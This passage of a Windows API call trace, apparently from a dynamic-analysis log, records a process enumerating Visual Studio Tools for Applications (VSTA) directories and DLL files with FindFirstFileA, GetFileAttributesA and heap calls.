dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0199.348] FindClose (in: hFindFile=0x10f78d0 | out: hFindFile=0x10f78d0) returned 1 [0199.348] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\appinfodocument\\microsoft.visualstudio.tools.office.appinfodocument\\microsoft.visualstudio.tools.office.appinfodocument.v9.0.dll")) returned 0x20 [0199.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0199.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0199.349] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", lpFilePart=0x9bada4*="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll") returned 0xba [0199.349] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e47494b, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4a7e2a6f, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a7e2a6f, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0199.385] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e47494b, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4a7e2a6f, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a7e2a6f, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.385] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a402c44, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a9600d2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a9600d2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="AddInSideAdapters", cAlternateFileName="ADDINS~1")) returned 1 [0199.385] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a7e2a6f, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4abc2635, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4abc2635, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="AddInViews", cAlternateFileName="ADDINV~1")) returned 1 [0199.385] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a107d7a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a1c6876, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a1c6876, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Contracts", cAlternateFileName="CONTRA~1")) returned 1 [0199.385] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a74a126, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a8ed9d5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a8ed9d5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="HostSideAdapters", cAlternateFileName="HOSTSI~1")) returned 1 [0199.385] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87198d61, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xe276ff4f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x87362941, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x1fdc1, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="PipelineSegments.store", cAlternateFileName="PIPELI~1.STO")) returned 1 [0199.386] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87198d61, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xe276ff4f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x87362941, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x1fdc1, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="PipelineSegments.store", cAlternateFileName="PIPELI~1.STO")) returned 0 [0199.386] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0199.387] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinsideadapters")) returned 0x10 [0199.388] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de750 | out: hHeap=0x2ad0000) returned 1 [0199.388] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0199.388] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInViews" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinviews")) returned 0x10 [0199.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2cd8 | out: hHeap=0x2ad0000) returned 1 [0199.389] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\Contracts" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\contracts")) returned 0x10 [0199.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0199.389] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\hostsideadapters")) returned 0x10 [0199.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0199.390] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\PipelineSegments.store" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\pipelinesegments.store")) returned 0x20 [0199.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7b8 | out: hHeap=0x2ad0000) returned 1 [0199.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0199.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0199.391] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\PipelineSegments.store", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\PipelineSegments.store", lpFilePart=0x9bada4*="PipelineSegments.store") returned 0x5f [0199.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0199.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0199.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0199.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0199.392] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a402c44, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a9600d2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a9600d2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7490 [0199.393] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a402c44, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a9600d2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a9600d2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.393] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a402c44, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xaa98, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0199.394] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a7bc69e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xd098, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0199.394] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a8c7860, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x15af0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0199.394] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a913c21, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xb098, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0199.394] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a9600d2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xaaf8, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", cAlternateFileName="MI41FD~1.DLL")) returned 1 [0199.394] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a9600d2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xaaf8, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", cAlternateFileName="MI41FD~1.DLL")) returned 0 [0199.394] FindClose (in: hFindFile=0x10f7490 | out: hFindFile=0x10f7490) returned 1 [0199.395] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinsideadapters\\microsoft.visualstudio.tools.applications.addinadapter.v10.0.dll")) returned 0x20 [0199.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a9368 | out: hHeap=0x2ad0000) returned 1 [0199.397] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0199.397] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinsideadapters\\microsoft.visualstudio.tools.applications.addinadapter.v9.0.dll")) returned 0x20 [0199.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a9410 | out: hHeap=0x2ad0000) returned 1 [0199.397] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinsideadapters\\microsoft.visualstudio.tools.office.addinadapter.v9.0.dll")) returned 0x20 [0199.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d160 | out: hHeap=0x2ad0000) returned 1 [0199.398] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinsideadapters\\microsoft.visualstudio.tools.office.excel.addinadapter.v9.0.dll")) returned 0x20 [0199.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a9368 | out: hHeap=0x2ad0000) returned 1 [0199.398] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinsideadapters\\microsoft.visualstudio.tools.office.word.addinadapter.v9.0.dll")) returned 0x20 [0199.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a9218 | out: hHeap=0x2ad0000) returned 1 [0199.399] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811f8, Size=0x20) returned 0x3734070 [0199.399] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll", lpFilePart=0x9bada4*="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll") returned 0x9b [0199.399] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.dll", lpFilePart=0x9bada4*="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.dll") returned 0x9a [0199.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0199.399] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", lpFilePart=0x9bada4*="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll") returned 0x94 [0199.400] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", lpFilePart=0x9bada4*="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll") returned 0x9a [0199.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0199.400] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", lpFilePart=0x9bada4*="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll") returned 0x99 [0199.400] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInViews\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a7e2a6f, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4abc2635, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4abc2635, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7410 [0199.401] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a7e2a6f, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4abc2635, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4abc2635, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.402] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4abc2635, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x19058, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.Office.Tools.v9.0.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0199.402] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a87b3c4, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x8cf0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0199.402] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a7e2a6f, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x14af0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0199.402] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a7e2a6f, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x14af0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0199.402] FindClose (in: hFindFile=0x10f7410 | out: hFindFile=0x10f7410) returned 1 [0199.403] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInViews\\Microsoft.Office.Tools.v9.0.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinviews\\microsoft.office.tools.v9.0.dll")) returned 0x20 [0199.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc190 | out: hHeap=0x2ad0000) returned 1 [0199.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0199.404] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInViews\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinviews\\microsoft.visualstudio.tools.applications.runtime.v10.0.dll")) returned 0x20 [0199.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0e68 | out: hHeap=0x2ad0000) returned 1 [0199.405] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInViews\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinviews\\microsoft.visualstudio.tools.applications.runtime.v9.0.dll")) returned 0x20 [0199.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0f00 | out: hHeap=0x2ad0000) returned 1 [0199.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3734070 | out: hHeap=0x2ad0000) returned 1 [0199.406] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInViews\\Microsoft.Office.Tools.v9.0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInViews\\Microsoft.Office.Tools.v9.0.dll", lpFilePart=0x9bada4*="Microsoft.Office.Tools.v9.0.dll") returned 0x73 [0199.406] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInViews\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.dll", nBufferLength=0x208, 